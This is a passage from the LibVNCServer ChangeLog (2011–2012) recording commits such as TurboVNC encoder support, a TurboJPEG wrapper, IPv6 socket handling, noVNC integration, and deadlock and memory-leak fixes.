   1082 	libjpeg-turbo.  Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the
   1083 	libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper
   1084 	can be used with plain libjpeg as well.  This required updating the
   1085 	TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
   1086 	mainly because the TurboJPEG 1.2 API handles pixel formats in a much
   1087 	cleaner way, which made the conversion code easier to write.  It
   1088 	also eases the maintenance to have the wrapper synced as much as
   1089 	possible with the upstream code base (so I can merge any relevant
   1090 	bug fixes that are discovered upstream.) The libvncserver version of
   1091 	the TurboJPEG wrapper is a "lite" version, containing only the JPEG
   1092 	compression/decompression code and not the lossless transform, YUV
   1093 	encoding/decoding, and dynamic buffer allocation features from
   1094 	TurboJPEG 1.2.  configure.ac: Removed the --with-turbovnc option.  configure still
   1095 	checks for the presence of libjpeg-turbo, but only for the purposes
   1096 	of printing a performance warning if it isn't available.  rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder
   1097 	patch.  We cannot use tightQualityLevel for the TurboVNC 1-100
   1098 	quality level, because tightQualityLevel is also used by ZRLE.
   1099 	Thus, a new parameter (turboQualityLevel) was created.  rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs.  Fix
   1100 	afore-mentioned tightQualityLevel bug.  libvncserver/tight.c: Replaced the TightVNC encoder with the
   1101 	TurboVNC encoder.  Relative to the initial TurboVNC encoder patch,
   1102 	this patch also: -- Adds TightPng support to the TurboVNC encoder --
   1103 	   Adds the afore-mentioned low-bandwidth mode, which is mapped
   1104 	   externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG
   1105 	wrapper) as well as TJBench (a benchmark for same.)  These are
   1106 	useful for ensuring that the wrapper still functions correctly and
   1107 	performantly if it needs to be modified for whatever reason.  Both
   1108 	of these programs are derived from libjpeg-turbo 1.2.0.  As with the
   1109 	TurboJPEG wrapper, they do not contain the more advanced features of
   1110 	TurboJPEG 1.2, such as YUV encoding/decoding and lossless
   1111 	transforms.
   1112 
   1113 2012-03-15  Christian Beier <dontmind (a] freeshell.org>
   1114 
   1115 	* AUTHORS: Add DRC to AUTHORS.
   1116 
   1117 2012-03-15  Christian Beier <dontmind (a] freeshell.org>
   1118 
   1119 	* rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient
   1120 	struct.  Try to not break ABI between releases. Even if the code gets ugly...
   1121 
   1122 2012-03-10  DRC <information (a] virtualgl.org>
   1123 
   1124 	* x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree
   1125 	build directory is used
   1126 
   1127 2012-03-10  DRC <information (a] virtualgl.org>
   1128 
   1129 	* libvncserver/rfbserver.c: Fix an issue that affects the existing
   1130 	Tight encoder as well as the newly-implemented Turbo encoder.  The issue is that, when using the current libvncserver source, it is
   1131 	impossible to disable Tight JPEG encoding.  The way Tight/Turbo
   1132 	viewers disable JPEG encoding is by simply not sending the Tight
   1133 	quality value, causing the server to use the default value of -1.
   1134 	Thus, cl->tightQualityLevel has to be set to -1 prior to processing
   1135 	the encodings message for this mechanism to work.  Similarly, it is
   1136 	not guaranteed that the compress level will be set in the encodings
   1137 	message, so it is set to a default value prior to processing the
   1138 	message.
   1139 
   1140 2012-03-10  DRC <information (a] virtualgl.org>
   1141 
   1142 	* common/turbojpeg.c, common/turbojpeg.h, configure.ac,
   1143 	libvncserver/Makefile.am, libvncserver/rfbserver.c,
   1144 	libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC
   1145 	encoding support.  TurboVNC is a variant of TightVNC that uses the same client/server
   1146 	protocol (RFB version 3.8t), and thus it is fully cross-compatible
   1147 	with TightVNC and TigerVNC (with one exception, which is noted
   1148 	below.) Both the TightVNC and TurboVNC encoders analyze each
   1149 	rectangle, pick out regions of solid color to send separately, and
   1150 	send the remaining subrectangles using mono, indexed color, JPEG, or
   1151 	raw encoding, depending on the number of colors in the subrectangle.
   1152 	However, TurboVNC uses a fundamentally different selection algorithm
   1153 	to determine the appropriate subencoding to use for each
   1154 	subrectangle.  Thus, while it sends a protocol stream that can be
   1155 	decoded by any TightVNC-compatible viewer, the mix of subencoding
   1156 	types in this protocol stream will be different from those generated
   1157 	by a TightVNC server.  The research that led to TurboVNC is described in the following
   1158 	report:
   1159 	http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf.  In
   1160 	summary:  20 RFB captures, representing "common" 2D and 3D
   1161 	application workloads (the 3D workloads were run using VirtualGL),
   1162 	were studied using the TightVNC encoder in isolation.  Some of the
   1163 	analysis features in the TightVNC encoder, such as smoothness
   1164 	detection, were found to generate a lot of CPU usage with little or
   1165 	no benefit in compression, so those features were disabled.  JPEG
   1166 	encoding was accelerated using libjpeg-turbo (which achieves a 2-4x
   1167 	speedup over plain libjpeg on modern x86 or ARM processors.)
   1168 	Finally, the "palette threshold" (minimum number of colors that the
   1169 	subrectangle must have before it is compressed using JPEG or raw)
   1170 	was adjusted to account for the fact that JPEG encoding is now quite
   1171 	a bit faster (meaning that we can now use it more without a CPU
   1172 	penalty.)  TurboVNC has additional optimizations, such as the
   1173 	ability to count colors and encode JPEG images directly from the
   1174 	framebuffer without first translating the pixels into RGB.  The
   1175 	TurboVNC encoder compares quite favorably in terms of compression
   1176 	ratio with TightVNC and generally encodes a great deal faster (often
   1177 	an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is
   1178 	roughly equivalent to the one found in version 0.6 of the Unix
   1179 	TurboVNC Server, with a few minor patches integrated from TurboVNC
   1180 	1.1.  TurboVNC 1.0 added multi-threading capabilities, which can be
   1181 	added in later if desired (at the expense of making libvncserver
   1182 	depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings
   1183 	than TightVNC, because it uses the identical protocol (and thus a
   1184 	viewer really has no idea whether it's talking to a TightVNC or
   1185 	TurboVNC server), and because it doesn't support rfbTightPng (and in
   1186 	fact conflicts with it-- see below), the TurboVNC and TightVNC
   1187 	encoders cannot be enabled simultaneously.  Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with
   1188 	a TightVNC server, and vice versa.  TurboVNC supports
   1189 	pseudo-encodings for specifying a fine-grained (1-100) quality scale
   1190 	and specifying chrominance subsampling.  If a TurboVNC viewer sends
   1191 	those to a TightVNC server, then the TightVNC server ignores them,
   1192 	so the TurboVNC viewer also sends the quality on a 0-9 scale that
   1193 	the TightVNC server can understand.  Similarly, the TurboVNC server
   1194 	checks first for fine-grained quality and subsampling
   1195 	pseudo-encodings from the viewer, and failing to receive those, it
   1196 	then checks for the TightVNC 0-9 quality pseudo-encoding.  There is one case in which the two systems are not compatible, and
   1197 	that is when a TightVNC or TigerVNC viewer requests compression
   1198 	level 0 without JPEG from a TurboVNC server.  For performance
   1199 	reasons, this causes the TurboVNC server to send images directly to
   1200 	the viewer, bypassing Zlib.  When the TurboVNC server does this, it
   1201 	also sets bits 7-4 in the compression control byte to rfbTightNoZlib
   1202 	(0x0A), which is unfortunately the same value as rfbTightPng.  Older
   1203 	TightVNC viewers that don't handle PNG will assume that the stream
   1204 	is uncompressed but still encapsulated in a Zlib structure, whereas
   1205 	newer PNG-supporting TightVNC viewers will assume that the stream is
   1206 	PNG.  In either case, the viewer will probably crash.  Since most
   1207 	VNC viewers don't expose compression level 0 in the GUI, this is a
   1208 	relatively rare situation.  Description of changes: configure.ac -- Added support for libjpeg-turbo.  If passed an
   1209 	   argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines
   1210 	   whether the libjpeg library being used is libjpeg-turbo.
   1211 	   libjpeg-turbo must be used when building the TurboVNC encoder,
   1212 	   because the TurboVNC encoder relies on the libjpeg-turbo
   1213 	   colorspace extensions in order to compress images directly out of
   1214 	   the framebuffer (which may be, for instance, BGRA rather than RGB.)
   1215 	   libjpeg-turbo can optionally be used with the TightVNC encoder as
   1216 	   well, but the speedup will only be marginal (the report linked above
   1217 	    explains why in more detail, but basically it's because of Amdahl's
   1218 	    Law.  The TightVNC encoder was designed with the assumption that
   1219 	JPEG had a very high CPU cost, and thus JPEG is used only
   1220 	sparingly.) -- Added a new configure variable, JPEG_LDFLAGS.  This
   1221 	   is necessitated by the fact that libjpeg-turbo often distributes
   1222 	   libjpeg.a and libjpeg.so in /opt/libjpeg-turbo/lib32 or
   1223 	   /opt/libjpeg-turbo/lib64, and many people prefer to statically
   1224 	   link with it.  Thus, more flexibility is needed than is provided by
   1225 	   --with-jpeg.  If JPEG_LDFLAGS is specified, then it overrides the
   1226 	   changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is
   1227 	   still used to set the include path.)  The addition of JPEG_LDFLAGS
   1228 	necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because
   1229 	   AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we
   1230 	want if we're, for instance, linking statically with libjpeg-turbo.)
   1231 	-- configure does not check for PNG support if TurboVNC encoding is
   1232 	   enabled.  This prevents the rfbSendRectEncodingTightPng() function
   1233 	   from being compiled in, since the TurboVNC encoder doesn't (and
   1234 	can't) support it.  common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API
   1235 	   used to compress and decompress JPEG images in memory.  It was
   1236 	   originally implemented because it was desirable to use different
   1237 	   types of underlying technologies to compress JPEG on different
   1238 	   platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel
   1239 	   Performance Primitives, etc.) These days, however, libjpeg-turbo
   1240 	   is the only underlying technology used by TurboVNC, so TurboJPEG's
   1241 	purpose is largely just code simplicity and flexibility.  Thus,
   1242 	   since there is no real need for libvncserver to use any technology
   1243 	   other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper
   1244 	for libjpeg-turbo has been included in-tree so that libvncserver can
   1245 	   be directly linked with libjpeg-turbo.  This is convenient because
   1246 	   many modern Linux distros (Fedora, Ubuntu, etc.) now ship
   1247 	   libjpeg-turbo as their default libjpeg library.  libvncserver/rfbserver.c -- Added logic to check for the TurboVNC
   1248 	   fine-grained quality level and subsampling encodings and to map
   1249 	   Tight (0-9) quality levels to appropriate fine-grained quality level
   1250 	   and subsampling values if communicating with a TightVNC/TigerVNC
   1251 	viewer.  libvncserver/turbo.c -- TurboVNC encoder (compiled instead of
   1252 	libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality
   1253 	   level and subsampling encodings as well as the rfbTightNoZlib
   1254 	constant and notes on its usage.
   1255 
   1256 2012-03-10  Christian Beier <dontmind (a] freeshell.org>
   1257 
   1258 	* client_examples/SDLvncviewer.c, libvncclient/listen.c,
   1259 	libvncclient/sockets.c, libvncclient/vncviewer.c,
   1260 	libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for
   1261 	LibVNCServer, part three: make reverse connections IPv6-capable.  Besided making libvncserver reverseVNC IPv6-aware, this introduces
   1262 	some changes on the client side as well to make clients listen on
   1263 	IPv6 sockets, too. Like the server side, this also uses a
   1264 	separate-socket approach.
   1265 
   1266 2012-03-10  Christian Beier <dontmind (a] freeshell.org>
   1267 
   1268 	* libvncserver/sockets.c: IPv6 support for LibVNCServer, part
   1269 	onepointseven: Plug a memleak.  We have to properly free the addrinfo struct when jumping out of the
   1270 	function.
   1271 
   1272 2012-03-09  Christian Beier <dontmind (a] freeshell.org>
   1273 
   1274 	* webclients/index.vnc: IPv6 support for LibVNCServer, part
   1275 	twopointone: properly surround IPv6 addresses with [] for noVNC URL.  Some browsers omit the square brackets in
   1276 	document.location.hostname, so add them if missing.
   1277 
   1278 2012-02-27  Christian Beier <dontmind (a] freeshell.org>
   1279 
   1280 	* libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c,
   1281 	rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http
   1282 	server listen on IPv6, too.  As done with the RFB sockets, this uses a separate-socket approach
   1283 	as well.
   1284 
   1285 2012-02-27  Christian Beier <dontmind (a] freeshell.org>
   1286 
   1287 	* libvncserver/main.c: IPv6 support for LibVNCServer, part
   1288 	onepointsix: fix a small logic error.  Without this, we would have gotten a stale IPv4 socket in a race
   1289 	condition.
   1290 
   1291 2012-02-27  Christian Beier <dontmind (a] freeshell.org>
   1292 
   1293 	* libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for
   1294 	LibVNCServer, part onepointfive: Fix compilation with IPv6 missing.  There was an oversight that crept in...
   1295 
   1296 2012-02-20  Christian Beier <dontmind (a] freeshell.org>
   1297 
   1298 	* libvncserver/cargs.c, libvncserver/main.c,
   1299 	libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6
   1300 	support for LibVNCServer, part one: accept IPv4 and IPv6
   1301 	connections.  This uses a separate-socket approach since there are systems that do
   1302 	not support dual binding sockets under *any* circumstances, for
   1303 	instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus
   1304 	more portable than having a v6 socket handle v4 connections as well.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1305 
   1306 2012-02-11  Mateus Cesar Groess <mateuscg (a] gmail.com>
   1307 
   1308 	* AUTHORS, client_examples/Makefile.am,
   1309 	client_examples/gtkvncviewer.c, configure.ac: Here is a port of
   1310 	SDLvncviewer to GTK+2.  I think it may encourage people to implement more features for the
   1311 	viewer, because a GTK GUI seems to be easier to implement than a SDL
   1312 	one (and it is more integrated with the major Linux Desktops out
   1313 	there).  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1314 
   1315 2012-02-11  Christian Beier <dontmind (a] freeshell.org>
   1316 
   1317 	* AUTHORS: Update AUTHORS.
   1318 
   1319 2012-02-10  Kyle J. McKay <mackyle (a] gmail.com>
   1320 
   1321 	* libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support
   1322 	Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to
   1323 	LibVNCServers running with no password and advertising a server
   1324 	version of 3.7 or greater.
   1325 
   1326 2012-02-04  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1327 
   1328 	* AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1329 
   1330 2012-02-04  Luca Stauble <gnekoz (a] gmail.com>
   1331 
   1332 	* libvncclient/listen.c, libvncclient/sockets.c,
   1333 	libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter
   1334 	to specify the ip address for reverse connections For security reasons, it can be important to limit which IP
   1335 	addresses a LibVNCClient-based client should listen for reverse
   1336 	connections. This commit adds that option.  To preserve binary backwards-compatibility, the field was added to
   1337 	the end of the rfbclient struct, and the function ListenAtTcpPort
   1338 	retains its signature (but calls the new ListenAtTcpPortAndAddress).  [jes: shortened the commit subject, added a longer explanation in
   1339 	the commit body and adjusted style] Signed-off-by: Luca Stauble <gnekoz (a] gmail.com> Signed-off-by:
   1340 	Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1341 
   1342 2012-01-12  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1343 
   1344 	* libvncserver/websockets.c: websockets: removed debug message
   1345 
   1346 2012-01-12  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1347 
   1348 	* libvncserver/websockets.c: websockets: restore errno after logging
   1349 	an error
   1350 
   1351 2012-01-12  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1352 
   1353 	* CMakeLists.txt: cmake: adapted to latest websocket crypto changes
   1354 
   1355 2011-12-15  Christian Beier <dontmind (a] freeshell.org>
   1356 
   1357 	* rfb/rfbclient.h: Small changes to LibNVCClient doxygen
   1358 	documentation.
   1359 
   1360 2011-12-01  Christian Beier <dontmind (a] freeshell.org>
   1361 
   1362 	* libvncserver/Makefile.am: Fix build error when libpng is
   1363 	available, but libjpeg is not.  The png stuff in tight.c depends on code in tight.c that uses
   1364 	libjpeg features. We could probably seperate that, but for now the
   1365 	dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB.  This is reflected in Makefile.am now.  NB: Building tight.c with JPEG but without PNG is still possible,     but nor the other way around.
   1366 
   1367 2011-12-01  Christian Beier <dontmind (a] freeshell.org>
   1368 
   1369 	* configure.ac: Use AM_SILENT_RULES only when it's actually
   1370 	available.  Otherwise building breaks with older make versions. Happens on OS X
   1371 	10.6 for instance.
   1372 
   1373 2011-11-09  Christian Beier <dontmind (a] freeshell.org>
   1374 
   1375 	* configure.ac, webclients/Makefile.am, webclients/index.vnc,
   1376 	webclients/java-applet/Makefile.am,
   1377 	webclients/java-applet/javaviewer.pseudo_proxy.patch,
   1378 	webclients/java-applet/ssl/Makefile.am,
   1379 	webclients/java-applet/ssl/README,
   1380 	webclients/java-applet/ssl/index.vnc,
   1381 	webclients/java-applet/ssl/onetimekey,
   1382 	webclients/java-applet/ssl/proxy.vnc,
   1383 	webclients/java-applet/ssl/ss_vncviewer,
   1384 	webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-curso
   1385 	r-colors+no-tab-traversal.patch,
   1386 	webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.p
   1387 	atch, webclients/java-applet/ssl/ultra.vnc,
   1388 	webclients/java-applet/ssl/ultraproxy.vnc,
   1389 	webclients/java-applet/ssl/ultrasigned.vnc,
   1390 	webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   1391 	webclients/javaviewer.pseudo_proxy.patch,
   1392 	webclients/ssl/Makefile.am, webclients/ssl/README,
   1393 	webclients/ssl/index.vnc, webclients/ssl/onetimekey,
   1394 	webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer,
   1395 	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-
   1396 	tab-traversal.patch,
   1397 	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   1398 	webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
   1399 	webclients/ssl/ultrasigned.vnc,
   1400 	webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java
   1401 	stuff into webclients/java-applet.
   1402 
   1403 2011-11-09  Christian Beier <dontmind (a] freeshell.org>
   1404 
   1405 	* LibVNCServer.spec.in, Makefile.am, README, classes/Makefile.am,
   1406 	classes/index.vnc, classes/javaviewer.pseudo_proxy.patch,
   1407 	classes/novnc/LICENSE.txt, classes/novnc/README.md,
   1408 	classes/novnc/favicon.ico, classes/novnc/include/base.css,
   1409 	classes/novnc/include/base64.js, classes/novnc/include/black.css,
   1410 	classes/novnc/include/blue.css, classes/novnc/include/des.js,
   1411 	classes/novnc/include/display.js, classes/novnc/include/input.js,
   1412 	classes/novnc/include/logo.js, classes/novnc/include/playback.js,
   1413 	classes/novnc/include/rfb.js, classes/novnc/include/ui.js,
   1414 	classes/novnc/include/util.js, classes/novnc/include/vnc.js,
   1415 	classes/novnc/include/web-socket-js/README.txt,
   1416 	classes/novnc/include/web-socket-js/swfobject.js,
   1417 	classes/novnc/include/web-socket-js/web_socket.js,
   1418 	classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
   1419 	classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
   1420 	classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/index.vnc,
   1421 	classes/ssl/onetimekey, classes/ssl/proxy.vnc,
   1422 	classes/ssl/ss_vncviewer,
   1423 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
   1424 	-traversal.patch,
   1425 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   1426 	classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc,
   1427 	classes/ssl/ultrasigned.vnc,
   1428 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac,
   1429 	examples/example.c, examples/pnmshow.c, examples/pnmshow24.c,
   1430 	rfb/rfb.h, webclients/Makefile.am, webclients/index.vnc,
   1431 	webclients/javaviewer.pseudo_proxy.patch,
   1432 	webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
   1433 	webclients/novnc/favicon.ico, webclients/novnc/include/base.css,
   1434 	webclients/novnc/include/base64.js,
   1435 	webclients/novnc/include/black.css,
   1436 	webclients/novnc/include/blue.css, webclients/novnc/include/des.js,
   1437 	webclients/novnc/include/display.js,
   1438 	webclients/novnc/include/input.js,
   1439 	webclients/novnc/include/logo.js,
   1440 	webclients/novnc/include/playback.js,
   1441 	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
   1442 	webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
   1443 	webclients/novnc/include/web-socket-js/README.txt,
   1444 	webclients/novnc/include/web-socket-js/swfobject.js,
   1445 	webclients/novnc/include/web-socket-js/web_socket.js,
   1446 	webclients/novnc/include/websock.js,
   1447 	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
   1448 	webclients/novnc/vnc_auto.html, webclients/ssl/Makefile.am,
   1449 	webclients/ssl/README, webclients/ssl/index.vnc,
   1450 	webclients/ssl/onetimekey, webclients/ssl/proxy.vnc,
   1451 	webclients/ssl/ss_vncviewer,
   1452 	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-
   1453 	tab-traversal.patch,
   1454 	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   1455 	webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
   1456 	webclients/ssl/ultrasigned.vnc,
   1457 	webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename
   1458 	'classes' dir to 'webclients'.
   1459 
   1460 2011-11-09  Christian Beier <dontmind (a] freeshell.org>
   1461 
   1462 	* classes/index.vnc, libvncserver/httpd.c: novnc client: use the
   1463 	client's notion about the server hostname instead of what the server
   1464 	thinks.
   1465 
   1466 2011-11-09  Christian Beier <dontmind (a] freeshell.org>
   1467 
   1468 	* classes/index.vnc: Fix tiny typo.
   1469 
   1470 2011-11-09  Christian Beier <dontmind (a] freeshell.org>
   1471 
   1472 	* NEWS: Add 0.9.8.2 NEWS entry.
   1473 
   1474 2011-11-09  Christian Beier <dontmind (a] freeshell.org>
   1475 
   1476 	* libvncclient/rfbproto.c: When GetCredential() callback is not set,
   1477 	don't use authentications requiring it.  The auth methods that employ Getcredential() will only be used if
   1478 	the client's GetCredential callback is actually set.
   1479 
   1480 2011-10-12  Christian Beier <dontmind (a] freeshell.org>
   1481 
   1482 	* ChangeLog: Update ChangeLog for 0.9.8.1.
   1483 
   1484 2011-10-12  Christian Beier <dontmind (a] freeshell.org>
   1485 
   1486 	* CMakeLists.txt, NEWS, configure.ac: Update version number in
   1487 	autotools && cmake, NEWS entry.
   1488 
   1489 2011-10-26  Peter Watkins <watkipet (a] gmail.com>
   1490 
   1491 	* rfb/rfbclient.h: Added comments.
   1492 
   1493 2011-10-26  Christian Beier <dontmind (a] freeshell.org>
   1494 
   1495 	* libvncserver/rfbserver.c: Fix deadlock in threaded mode when using
   1496 	nested rfbClientIteratorNext() calls.  Lengthy explanation follows...  First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through
   1497 	them using rfbClientIteratorNext() (loop L1) and is currently at
   1498 	client 2 i.e. client 2's cl_2->refCount is 1. At this point we need
   1499 	to loop again through the clients, with cl_2->refCount == 1, i.e. do
   1500 	a loop L2 nested within loop L1.  BUT: Now client 2 disconnects, it's clientInput thread terminates
   1501 	its clientOutput thread and calls rfbClientConnectionGone(). This
   1502 	LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This
   1503 	means this thread waits for the main thread to release cl_2.
   1504 	Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner
   1505 	rfbClientIteratorNext() loop L2. The first call to
   1506 	rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is
   1507 	locked by cl2's clientInput thread and is only released when
   1508 	cl_2->refCount becomes 0. The main thread would decrement
   1509 	cl_2->refCount when it would continue with loop L1. But it's waiting
   1510 	for cl2's clientInput thread to release clientListMutex. Which never
   1511 	happens since this one's waiting for the main thread to decrement
   1512 	cl_2->refCount. DEADLOCK.  Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread
   1513 	rfbClientConnectionGone(). This again LOCKs clientListMutex, removes
   1514 	cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for
   1515 	cl_2->refCount to become 0 is _after_ that. Waiting, with
   1516 	clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now
   1517 	only looping through 1,3 - 2 was removed from the linked list) and
   1518 	continue with loop L1, finally decrementing cl_2->refCount, allowing
   1519 	cl2's clientInput thread to continue and terminate. The resources
   1520 	held by cl2 are not free()'d by rfbClientConnectionGone until
   1521 	cl2->refCount becomes 0, i.e. loop L1 has released cl2.
   1522 
   1523 2011-10-16  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1524 
   1525 	* AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1526 
   1527 2011-10-16  George Fleury <gfleury (a] gmail.com>
   1528 
   1529 	* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
   1530 	been freed, so i think there is maybe a memory leak, so it is...  there is the malloc caller reverse order: ( malloc cl->statEncList ) 	<- rfbStatLookupEncoding 	<- rfbStatRecordEncodingSent 	<- rfbSendCursorPos 	<- rfbSendFramebufferUpdate 	<- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
   1531 	rfbReverseConnection with rfbProcessEvents, and then when the client
   1532 	connection dies, i am calling a rfbShutdownServer and
   1533 	rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
   1534 	freed.  So to free the stats i added a rfbResetStats(cl) after
   1535 	rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
   1536 	free the cl pointer. (at rfbserver.c line 555). And this, obviously,
   1537 	is correcting the memory leak.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1538 
   1539 2011-10-08  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1540 
   1541 	* rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7
   1542 	or earlier For backwards-compatibility reasons, we can only add struct members
   1543 	to the end. That way, existing callers still can use newer
   1544 	libraries, as the structs are always allocated by the library (and
   1545 	therefore guaranteed to have the correct size) and still rely on the
   1546 	same position of the parts the callers know about.  Reported by Luca Falavigna.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1547 
   1548 2011-10-09  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1549 
   1550 	* client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by
   1551 	default I got annoyed having to specify -resizable all the time; I never use
   1552 	it in another mode anymore, since I am on a netbook.  The option -no-resizable was added to be able to switch off that
   1553 	feature.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1554 
   1555 2011-10-06  Christian Beier <dontmind (a] freeshell.org>
   1556 
   1557 	* libvncserver/httpd.c: httpd: fix sending of binary data such as
   1558 	images.  We do this simply by omitting the content-type and let the browser
   1559 	decide upon the mime-type of the sent file. Only exception is
   1560 	'index.vnc', where we do set the content-type since some browsers
   1561 	fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always.
   1562 
   1563 2011-10-06  Christian Beier <dontmind (a] freeshell.org>
   1564 
   1565 	* classes/index.vnc: Fix typo && use proper website.
   1566 
   1567 2011-10-04  Christian Beier <dontmind (a] freeshell.org>
   1568 
   1569 	* classes/index.vnc, classes/novnc/LICENSE.txt,
   1570 	classes/novnc/README.md, classes/novnc/favicon.ico,
   1571 	classes/novnc/include/base.css, classes/novnc/include/base64.js,
   1572 	classes/novnc/include/black.css, classes/novnc/include/blue.css,
   1573 	classes/novnc/include/des.js, classes/novnc/include/display.js,
   1574 	classes/novnc/include/input.js, classes/novnc/include/logo.js,
   1575 	classes/novnc/include/playback.js, classes/novnc/include/rfb.js,
   1576 	classes/novnc/include/ui.js, classes/novnc/include/util.js,
   1577 	classes/novnc/include/vnc.js,
   1578 	classes/novnc/include/web-socket-js/README.txt,
   1579 	classes/novnc/include/web-socket-js/swfobject.js,
   1580 	classes/novnc/include/web-socket-js/web_socket.js,
   1581 	classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
   1582 	classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
   1583 	libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to
   1584 	our http server.  Pure JavaScript, no Java plugin required anymore! (But a recent
   1585 	browser...)
   1586 
   1587 2011-10-04  Christian Beier <dontmind (a] freeshell.org>
   1588 
   1589 	* configure.ac: This build warning is a libvncserver one, not for
   1590 	x11vnc.  Also, make it warn more generally when no known encryption lib is
   1591 	available.
   1592 
   1593 2011-09-21  Gernot Tenchio <gernot (a] tenchio.de>
   1594 
   1595 	* common/md5.c: md5: forced to use function names with leading
   1596 	underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with
   1597 	leading underscores. This is required to match the prototypes
   1598 	defined in md5.h.
   1599 
   1600 2011-09-20  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1601 
   1602 	* libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p
   1603 	errors
   1604 
   1605 2011-09-20  Gernot Tenchio <gernot (a] tenchio.de>
   1606 
   1607 	* libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way
   1608 	to late last night...
   1609 
   1610 2011-09-18  Gernot Tenchio <gernot (a] tenchio.de>
   1611 
   1612 	* libvncserver/Makefile.am, libvncserver/rfbcrypto.h,
   1613 	libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c,
